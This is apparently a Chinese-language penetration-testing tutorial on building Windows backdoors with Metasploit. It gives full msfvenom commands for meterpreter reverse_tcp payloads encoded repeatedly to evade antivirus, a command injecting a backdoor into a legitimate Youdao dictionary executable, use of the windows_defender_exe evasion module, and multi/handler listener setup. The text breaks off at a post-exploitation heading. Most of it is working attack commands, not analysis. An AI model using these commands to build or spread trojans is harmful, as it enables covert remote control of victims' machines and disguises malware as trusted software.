1.1 后门制作
1.1.1 使用编码器生成后门
1.1.1.1 使用一个编码器生成后门
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /tmp/windows01.exe
- 参数说明：
- -a：指定架构如x86/x64。x86代表32位，x64代表64位
- --platform：指定平台，这里选择windows，通过msfvenom -l platforms可以查看所有支持的平台
- -p：设置攻击载荷，我们使用windows/meterpreter/reverse tcp，可以通过msfvenom -l payloads查看所有攻击载荷
- LHOST：目标主机执行程序后连接我们Kali的地址
- LPORT：目标主机执行程序后连接我们 Kali的端口
- -b：去掉坏字符，坏字符会影响payload正常执行
- -e：指定编码器，也就是所谓的免杀，x86/shikata_ ga_ nai是msf自带的编码器，可以通过msfvenom -l encoders查看所有编码器
- -i：指定payload有效载荷编码迭代次数，指定编码加密次数, 为了让杀毒软件更难查出源代码
- -f：指定生成格式，可以是raw, exe, elf, jar, C语言的，python 的，java 的.....，用msfvenom -l formats查看所有支持的格式
- -o：指定文件名称和导出位置
1.1.1.2 使用多（两）个编码器生成后门
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 | msfvenom -a x86 --platform windows -e x86/ao /lpha_upper -i 20 -f exe -o /tmp/windows02.exe
1.1.2 向绿色软件中注入后门
1.1.2.1 上传绿色版软件
# ll -h YoudaoDictHelper.exe -rw-r--r-- 1 root root 2.9M Dec 18 2020 YoudaoDictHelper.exe
1.1.2.2 注入后门
# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.10.180 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -x YoudaoDictHelper.exe -f exe -o /tmp/YoudaoDicDictHelper01.exe
1.1.3 使用evasion模块生成后门
evasion是metasploit自带的模块，使用此模块可以生成反杀毒软件的木马
msf6 > search evasion
msf6 > use evasion/windows/windows_defender_exe [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp msf6 evasion(windows/windows_defender_exe) > show options
msf6 evasion(windows/windows_defender_exe) > set FILENAME muma01.exe FILENAME => muma01.exe msf6 evasion(windows/windows_defender_exe) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 evasion(windows/windows_defender_exe) > set LHOST 192.168.10.180 LHOST => 192.168.10.180 msf6 evasion(windows/windows_defender_exe) > set LPORT 4444 LPORT => 4444 msf6 evasion(windows/windows_defender_exe) > run
1.2 后门使用
1.2.1 kali启动后门监听程序
# msfconsole msf6 > use exploit/multi/handler [*] Using configured payload generic/shell_reverse_tcp # 和后门使用同样的payloads msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set LHOST 192.168.10.180 LHOST => 192.168.10.180 msf6 exploit(multi/handler) > set LPORT 4444 LPORT => 4444
1.2.1.1 前台启动监听
msf6 exploit(multi/handler) > run
1.2.1.2 后台启动监听（允许多个客户端连接）
msf6 exploit(multi/handler) > run -j
1.3 客户机运行后门程序后渗透
1.3.1 查看已经连接上的客户机
